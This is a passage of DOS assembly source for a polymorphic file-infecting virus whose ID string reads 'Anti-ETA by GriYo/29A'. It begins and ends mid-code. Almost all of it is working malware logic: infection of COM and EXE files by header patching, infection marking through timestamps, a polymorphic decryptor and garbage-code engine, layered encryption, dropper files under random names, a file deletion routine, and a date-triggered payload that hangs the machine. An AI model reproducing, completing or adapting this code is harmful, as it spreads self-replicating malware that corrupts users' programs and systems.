cx,word ptr ds:[file_time] ; Restore time + mov dx,word ptr ds:[file_date] ; And date + int 03h + jmp file_error_2 + +;Ŀ +; Infect COM files +; + +inf_com_file: or dx,dx ; Huh? this COM + jnz file_error_3 ; file is strange... + mov ax,word ptr ds:[file_size] ; Avoid too big COM + cmp ax,0FFFFh-(inf_byte_size+02h) ; files + jae file_error_3 + call backup_header ; Save header + sub ax,03h ; Write a jump + mov byte ptr ds:[si+00h],0E9h ; to the viral code + mov word ptr ds:[si+01h],ax + add ax,0103h + mov word ptr ds:[delta],ax ; Save delta offsets + mov dword ptr ds:[host_type],".COM" ; Set host type + jmp write_body + +;Ŀ +;Infect EXE files +; + +inf_exe_file: cmp word ptr ds:[si+19h],0040h ; Avoid Windows shit + jae file_error_3 + cmp word ptr ds:[si+1Ah],0000h ; Avoid overlays + jne file_error_3 + cmp word ptr ds:[si+0Ch],0FFFFh ; Check maxmem + jne file_error_3 + call backup_header ; Save header + push word ptr ds:[si+14h] ; Build a jump to + pop word ptr ds:[exe_ip_cs] ; the original entry + push word ptr ds:[si+16h] ; point + pop word ptr ds:[exe_ip_cs+02h] + mov ax,word ptr ds:[file_size] ; Get file size + mov dx,word ptr ds:[file_size+02h] ; div 0010h + mov cx,0010h + div cx + sub ax,word ptr ds:[si+08h] ; Sub header size + mov word ptr ds:[si+14h],dx ; New entry point at + mov word ptr ds:[si+16h],ax ; file end + mov word ptr ds:[delta],dx ; Save delta offset + inc ax ; New stack segment + mov word ptr ds:[si+0Eh],ax ; in load module + add dx,inf_byte_size+0200h ; Move stack pointer + and dx,0FFFEh ; using word aligment + mov word ptr ds:[si+10h],dx + mov ax,word ptr ds:[file_size] ; Get file size + mov dx,word ptr ds:[file_size+02h] ; div 0200h + mov cx,0200h + div cx + or dx,dx + jz size_round_1 + inc ax +size_round_1: cmp ax,word ptr ds:[si+04h] ; Check if file + jne exit_header ; size is as header + cmp dx,word ptr ds:[si+02h] ; says + je ok_file_size +exit_header: jmp file_error_3 +ok_file_size: mov dword ptr ds:[host_type],".EXE" ; Set host type + +;Ŀ +; Append virus body to our victim +; + +write_body: push bx + mov si,inf_para_size*02h ; Allocate memory + call mem_alloc ; for poly decryptor + pop bx ; and virus body + or di,di + jz no_memory + push bx + mov es,di + xor di,di + call gen_polymorph + add word ptr ds:[delta],di ; Save delta offset + mov ax,word ptr ds:[eng_entry_point] + mov si,offset inf_header + cmp dword ptr ds:[host_type],".EXE" + je fix_exe +fix_com: add word ptr ds:[si+01h],ax ; Add to jmp + jmp short entry_size_fix +fix_exe: add word ptr ds:[si+14h],ax ; Add to IP + mov ax,word ptr ds:[file_size] ; Get file size + mov dx,word ptr ds:[file_size+02h] + add ax,inf_byte_size ; Add virus size + adc dx,0000h ; to file size + add ax,di ; Add decryptor size + adc dx,0000h ; to file size + mov cx,0200h ; Get infected file + div cx ; size div 0200h + or dx,dx + jz size_round_2 + inc ax +size_round_2: mov word ptr ds:[si+02h],dx ; Store new size + mov word ptr ds:[si+04h],ax ; on header +entry_size_fix: xor si,si + mov cx,inf_byte_size + rep movsb + push di + push es + pop ds + call crypto03h ; Crypt area 03h + call crypto02h ; Crypt area 02h + call crypto01h ; Crypt area 01h + call gen_encryption + mov ah,40h ; Write virus body + pop cx ; at EOF + pop bx + xor dx,dx + int 03h + jc no_write + call seek_begin + push cs + pop ds + mov ah,40h ; Write infected + mov cx,001Ch ; header + mov dx,offset inf_header + int 03h + mov al,byte ptr ds:[file_time] ; Mark file as + and al,0E0h ; infected using + or al,0Ah ; time stamp + mov byte ptr ds:[file_time],al ; (seconds=0Ah) +no_write: mov ah,49h ; Free allocated + int 03h ; memory + push cs + pop ds + mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta +no_memory: jmp file_error_3 + +;Ŀ +; Time for activation? +; + +try_activation: db 0EBh,00h ; Clear prefetch + mov ah,04h ; Check if time + int 1Ah ; to activate + cmp dx,0710h + jne drop_virus + +;Ŀ +; Activation routine +; + +do_payload: mov ax,0013h ; Set video mode + int 10h ; 320x200x256c + mov ax,0A000h ; Decompress our + mov es,ax ; image over video + mov si,offset image_data ; memory + xor di,di + mov cx,100 ; 100 scan lines +loop_compress: push cx + mov cx,20 +next_string: push cx + lodsb + mov dl,al + mov cx,8 ; Get 8 pixels +compress_byte: xor al,al + test dl,128 + jz pixel_ready + mov al,07h +pixel_ready: push di + add di,320 + stosb + stosb + pop di + stosb + stosb + shl dl,01h + loop compress_byte ; Next pixel + pop cx ; Next 8 byte group + loop next_string + pop cx ; Next scan + add di,320 + loop loop_compress +stay_quiet: jmp stay_quiet + +;Ŀ +; Image for the virus payload (white hand) +; + +image_data equ this byte + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 001h,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,007h,0FEh,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FEh + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,03Fh,0FEh,000h,000h,000h,000h,00Fh,0F0h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FEh,000h,000h + db 000h,000h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,001h,0FFh,0FEh,000h,000h,000h,001h,0FFh,0F8h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FCh,000h,000h,000h,003h + db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh + db 0FFh,0FCh,000h,000h,000h,00Fh,0FFh,0F8h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,01Fh,0FFh,0FCh,000h,000h,000h,03Fh,0FFh,0F8h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FCh + db 000h,000h,000h,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,07Fh,0FFh,0FCh,000h,000h,003h,0FFh,0FFh,0F0h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0F8h,000h,000h + db 00Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 001h,0FFh,0FFh,0F0h,000h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h,000h,000h,07Fh,0FFh + db 0FFh,080h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh + db 0FFh,0C0h,000h,001h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,03Fh,0FFh,0FFh,0C0h,000h,007h,0FFh,0FFh,0FCh,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,080h + db 000h,01Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,07Fh,0FFh,0FEh,000h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FCh,000h,000h,0FFh + db 0FFh,0FFh,0C0h,000h,003h,0F0h,000h,000h,000h,000h,000h,000h,000h,003h + db 0FFh,0FFh,0F8h,000h,001h,0FFh,0FFh,0FFh,080h,000h,01Fh,0F8h,000h,000h + db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0F0h,000h,003h,0FFh,0FFh,0FFh + db 000h,001h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh + db 0C0h,000h,007h,0FFh,0FFh,0FCh,000h,007h,0FFh,0F0h,000h,000h,000h,000h + db 000h,000h,000h,01Fh,0FFh,0FFh,080h,000h,01Fh,0FFh,0FFh,0E0h,000h,03Fh + db 0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,000h,000h + db 03Fh,0FFh,0FFh,080h,000h,07Fh,0FFh,0E0h,000h,000h,000h,000h,000h,000h + db 000h,0FFh,0FFh,0FEh,000h,003h,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0C0h + db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FEh,000h,007h,0FFh,0FFh + db 0F8h,000h,003h,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,001h,0FFh + db 0FFh,0FCh,000h,00Fh,0FFh,0FFh,0F0h,000h,007h,0FFh,0FFh,080h,000h,000h + db 000h,000h,000h,000h,003h,0FFh,0FFh,0F8h,000h,03Fh,0FFh,0FFh,0E0h,000h + db 01Fh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h + db 000h,07Fh,0FFh,0FFh,0C0h,000h,07Fh,0FFh,0F8h,000h,000h,000h,000h,000h + db 000h,000h,007h,0FFh,0FFh,0C0h,000h,0FFh,0FFh,0FFh,000h,001h,0FFh,0FFh + db 0F0h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,080h,001h,0FFh + db 0FFh,0FCh,000h,003h,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h + db 03Fh,0FFh,0FCh,000h,007h,0FFh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,000h,000h + db 000h,000h,000h,000h,000h,000h,07Fh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,0F0h + db 000h,01Fh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh + db 0F8h,000h,0FFh,0FFh,0FFh,0E0h,000h,07Fh,0FFh,0FEh,000h,000h,000h,000h + db 000h,000h,000h,000h,07Fh,0FFh,0FCh,03Fh,0FFh,0FFh,0FFh,000h,003h,0FFh + db 0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FEh,000h,00Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h + db 000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,01Fh,0FFh,0FFh,0F0h + db 000h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0F0h,001h,0FFh,0FFh,0FFh,0E0h,000h,003h,0F0h,000h,000h,000h,000h,00Fh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,007h,0FFh,0FFh,0FFh,080h,000h,00Fh + db 0FCh,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,0FFh + db 0FFh,0FFh,0FFh,000h,000h,03Fh,0FCh,000h,000h,000h,000h,03Fh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0EFh,0FFh,0FFh,0FFh,0FCh,000h,000h,07Fh,0FCh,000h + db 000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0E0h,000h,000h,0FFh,0F8h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,007h,0FFh,0F8h,000h,000h,000h + db 000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h + db 0FFh,0FFh,0F8h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0F8h,000h,000h,000h,003h,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,003h,0FFh,0FFh + db 0F8h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0C0h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,007h,0FFh,0FFh,0FFh,0E0h,000h + db 000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h + db 07Fh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0F0h,000h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,003h,0FFh,0FFh + db 0FFh,0FCh,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0F8h,000h,01Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,003h,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,001h,0FFh,0FFh,0FFh,0FFh,080h + db 000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h + db 007h,0FFh,0FFh,0FFh,0FEh,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,01Fh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h + db 000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,07Fh,0FFh + db 0FFh,0FFh,0C0h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,00Fh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh + db 000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,03Fh,0F0h,0F1h + db 0C8h,004h,07Fh,0FEh,002h,001h,087h,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h + db 000h,000h,000h,07Fh,0F0h,071h,0C8h,004h,07Fh,0FEh,002h,001h,007h,0FFh + db 0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,0FFh,0E0h,070h,0CFh,01Ch + db 07Fh,0FEh,03Fh,08Fh,003h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h + db 001h,0FFh,0E2h,070h,04Fh,01Ch,07Fh,0FEh,003h,08Fh,023h,0FFh,0FFh,0FFh + db 0FEh,000h,000h,000h,000h,000h,001h,0FFh,0E2h,032h,00Fh,01Ch,07Ch,03Eh + db 003h,08Eh,023h,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,001h,0FFh + db 0C0h,033h,00Fh,01Ch,07Ch,03Eh,03Fh,08Eh,001h,0FFh,0FFh,0FFh,0C0h,000h + db 000h,000h,000h,000h,001h,0FFh,0C0h,013h,08Fh,01Ch,07Fh,0FEh,003h,08Ch + db 001h,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,001h,0FFh,0C7h,013h + db 08Fh,01Ch,07Fh,0FEh,003h,08Ch,071h,0FFh,0FFh,0F0h,000h,000h,000h,000h + db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0E0h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h + db 001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h + db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h + db 000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0E0h,000h,000h,000h,0FFh,0C0h,000h,000h,000h,000h,000h,007h + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,001h,0FFh,0FFh,0E0h + db 000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0E0h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,007h,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,003h,0FFh,0FFh,0FFh,0E0h,000h,000h + db 000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,03Fh + db 0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0C0h,07Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h + db 000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E1h,0FFh,0FFh,0FFh + db 0FFh,0C0h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h + db 003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h + db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h + db 000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h + db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,07Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh + db 0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh + db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh + db 0FFh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h + +;Ŀ +; ID string +; + +id_string db "<< Anti-ETA by GriYo/29A >>" + +;Ŀ +; Create a virus dropper in the current directory +; + +drop_virus: call get_rnd + or al,al + jnz do_not_gen + mov ax,cs + mov ds,ax + mov es,ax + call hook_24h_03h + mov ax,0004h + call rand_in_range + inc ax + inc ax + mov cx,ax + mov di,offset dropper_name + push di + cld +generate_name: mov ax,0019h + call rand_in_range + add al,41h + stosb + loop generate_name + mov eax,"MOC." + mov dword ptr ds:[di],eax + mov dword ptr ds:[di+04h],00h + pop dx + mov ah,3Ch + xor cx,cx + int 03h + jc exit_generator + mov dword ptr ds:[host_type],"DROP" ; Set host type + mov word ptr ds:[delta],0100h ; Save delta offset + xchg bx,ax + push bx + mov si,inf_para_size*02h ; Allocate memory + call mem_alloc ; for a virus copy + pop bx ; and the virus body + or di,di + jz cant_drop + push bx + mov es,di + xor di,di + call gen_polymorph + add word ptr ds:[delta],di ; Save delta offset + xor si,si + mov cx,inf_byte_size + rep movsb + push di + push es + pop ds + call crypto03h ; Crypt area 03h + call crypto02h ; Crypt area 02h + call crypto01h ; Crypt area 01h + call gen_encryption + mov ah,40h ; Write virus + pop cx ; dropper + pop bx + sub dx,dx + int 03h + jc oh_shit + mov ah,2Ah ; Get current year + int 03h + mov ax,cx + sub ax,07BCh ; Years from 1980 + call rand_in_range + shl al,1 + mov dh,al + call get_rnd ; Get random date + and al,0FEh + mov dl,al + call rand_16 ; Get random time + and ax,7BE0h + or al,0Ah ; Mark as infected + mov cx,ax + mov ax,5701h + int 03h +oh_shit: mov ah,49h ; Free allocated + int 03h ; memory + push cs + pop ds + mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta +cant_drop: mov ah,3Eh ; Close file + int 03h +exit_generator: call free_24h_03h +do_not_gen: jmp exit21h + +;Ŀ +; Make a copy of file header +; + +backup_header: push si + push di + push es + push ds + pop es + mov si,offset inf_header + mov di,offset old_header + mov cx,001Ch + cld + rep movsb + pop es + pop di + pop si + ret + +;Ŀ +; Seek into file routines +; + +seek_begin: xor al,al + jmp short seek_int_21h +seek_end: mov al,02h +seek_int_21h: mov ah,42h + xor cx,cx + xor dx,dx + int 03h + jc seek_error + mov word ptr cs:[file_size],ax ; Save pointer + mov word ptr cs:[file_size+02h],dx ; position + clc + ret +seek_error: stc + ret + +;Ŀ +; Delete file routine +; On entry: +; DS:DX -> ptr to the file name to delete +; DS:SI -> ptr to directory name +; + +delete_file: push ds + pop es ; Get path of next + push si + push di + mov di,offset delete_path + push di + mov bx,di + cld +copy_del_path: lodsb + stosb + cmp al,"\" + jne no_slash_here + mov bx,di +no_slash_here: or al,al + jnz copy_del_path + mov si,dx ; Now write the name + mov di,bx ; of the file to delete +copy_del_name: lodsb ; next to path + stosb + or al,al + jnz copy_del_name + mov ax,4301h ; Wipe out the file + xor cx,cx ; attribute + pop dx + int 03h + + mov ah,41h ; Delete filename + int 03h + pop di + pop si + ret + +;Ŀ +; Hook int 24h to a dummy handler and redirect int 21h over int 3 +; + +hook_24h_03h: push ax + push bx + push ds + push es + push cs + pop ds + mov al,03h + call get_int + mov word ptr ds:[old03h],bx + mov word ptr ds:[old03h+02h],es + mov dx,offset call21h + call set_int + mov al,24h + call get_int + mov word ptr ds:[old24h],bx + mov word ptr ds:[old24h+02h],es + mov dx,offset my24h + call set_int + pop es + pop ds + pop bx + pop ax + ret + +;Ŀ +; Restore int 24h and 3 +; + +free_24h_03h: push ax + push ds + mov al,03h + lds dx,dword ptr cs:[old03h] + call set_int + mov al,24h + lds dx,dword ptr cs:[old24h] + call set_int + pop ds + pop ax + ret + +;Ŀ +; Virus critical error interrupt handler (int 24h) +; + +my24h: sti + mov al,3 ; Return error in + iret ; function + +;Ŀ +; Generate polymorphic encryption +; On entry: +; DS -> virus code segment +; ES:DI -> position where the engine has to put the decryptor +; + +gen_polymorph: cld + call rand_16 ; Get displacement + and al,0FEh ; Avoid odd displace + mov word ptr ds:[eng_displace],ax + call rand_16 ; Get crypt key + mov word ptr ds:[eng_crypt_key],ax + mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter + cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only + jne skip_1st_block ; on EXE files + call gen_rnd_block ; Block of rand data +skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry + mov ax,(offset end_opcodes - offset opcodes_table)/02h + call rand_in_range + add ax,ax + mov si,offset opcodes_table ; Get pointer to + add si,ax ; random reg table + lodsw + mov si,ax + call gen_garbage + + ; At this point, + ; DS:SI -> reg opcode table+01h + ; + ; +00h add [bp+nn],key + ; rol [bp+nn],01h + ; inc [bp+nn] + ; +01h sub [bp+nn],key + ; +02h xor [bp+nn],key + ; +03h ror [bp+nn],01h + ; dec [bp+nn] + ; +04h add bp,inm + ; +05h sub bp,inm + ; +06h inc bp + ; +07h cmp bp,inm + + movsb ; mov reg,imm + mov word ptr ds:[eng_init_ptr],di + xor ax,ax + stosw + call gen_garbage + mov word ptr ds:[eng_loop_point],di + call gen_garbage + mov al,2Eh ; Get segment reg + stosb + mov ax,(offset end_crypt - offset crypt_table)/02h + call rand_in_range + add ax,ax + mov bx,offset crypt_table ; Get pointer to + add bx,ax ; crypt generator + call word ptr ds:[bx] ; Gen decrypt instr + call gen_garbage + mov ax,(offset end_inc_ptr - offset inc_ptr_table)/02h + call rand_in_range + add ax,ax + mov bx,offset inc_ptr_table ; Get pointer to + add bx,ax ; inc ptr generator + call word ptr ds:[bx] ; Gen inc ptr instr + call gen_garbage + mov al,81h + mov ah,byte ptr ds:[si+07h] ; Gen cmp reg,imm + stosw + mov word ptr ds:[eng_cmp_ptr],di + xor ax,ax + stosw + mov ax,di + sub ax,word ptr ds:[eng_loop_point] + cmp ax,7Fh + jb use_jmp_short + mov ax,0074h ; Gen je label + stosw ; garbage + push di ; jmp loop_point + call gen_garbage ; garbage + mov al,0E9h ; label: + stosb + mov ax,di + sub ax,word ptr ds:[eng_loop_point] + inc ax + inc ax + neg ax + stosw + call gen_garbage + pop bx + mov ax,di + sub ax,bx + mov byte ptr es:[bx-01h],al + jmp short continue_gen +use_jmp_short: inc al + inc al + neg al + mov ah,75h + xchg ah,al + stosw ; Gen jne loop_point +continue_gen: call gen_garbage + mov al,0E9h + stosb + push di + xor ax,ax + stosw + call gen_rnd_block ; Block of rand data + pop bx + mov ax,di + sub ax,bx + dec ax + dec ax + mov word ptr es:[bx],ax + mov ax,di + mov word ptr ds:[crypt_delta],ax + add ax,word ptr ds:[delta] + sub ax,word ptr ds:[eng_displace] + mov bx,word ptr ds:[eng_init_ptr] ; Ptr start of + mov word ptr es:[bx],ax ; encrypted code... + add ax,(inf_byte_size and 0FFFEh)+02h + mov bx,word ptr ds:[eng_cmp_ptr] ; Ptr end of + mov word ptr es:[bx],ax ; encrypted code... + ret + +;Ŀ +; Perform encryption +; + +gen_encryption: mov si,word ptr cs:[crypt_delta] + mov di,si + mov cx,(inf_byte_size+01h)/02h + mov dx,word ptr cs:[eng_crypt_key] +loop_do_crypt: lodsw + db 0EBh,00h ; Clear prefetch +crypt_reverse dw 9090h ; Crypt/decrypt + stosw + loop loop_do_crypt + ret + +;Ŀ +; Generate random data block +; On entry to rnd_fill_loop: +; ES:DI -> buffer to be filled +; CX -> buffer size in bytes +; Warning: direction flag must be clear +; + +gen_rnd_block: mov ax,004Bh ; Generate a block of + call rand_in_range ; random data + add ax,0019h + mov cx,ax + +rnd_fill_loop: call get_rnd + stosb + loop rnd_fill_loop + ret + +;Ŀ +; Do encryption with add instruction +; + +crypt_add: mov al,81h + mov ah,byte ptr ds:[si] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ax,word ptr ds:[eng_crypt_key] ; Key + stosw + mov ds:[crypt_reverse],0C22Bh ; sub ax,dx + ret + +;Ŀ +; Do encryption with sub instruction +; + +crypt_sub: mov al,81h + mov ah,byte ptr ds:[si+01H] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ax,word ptr ds:[eng_crypt_key] ; Key + stosw + mov ds:[crypt_reverse],0C203h ; add ax,dx + ret + +;Ŀ +; Do encryption with xor instruction +; + +crypt_xor: mov al,81h + mov ah,byte ptr ds:[si+02h] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ax,word ptr ds:[eng_crypt_key] ; Key + stosw + mov ds:[crypt_reverse],0C233h ; xor ax,dx + ret + +;Ŀ +; Do encryption with rol instruction +; + +crypt_rol: mov al,0D1h + mov ah,byte ptr ds:[si] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov 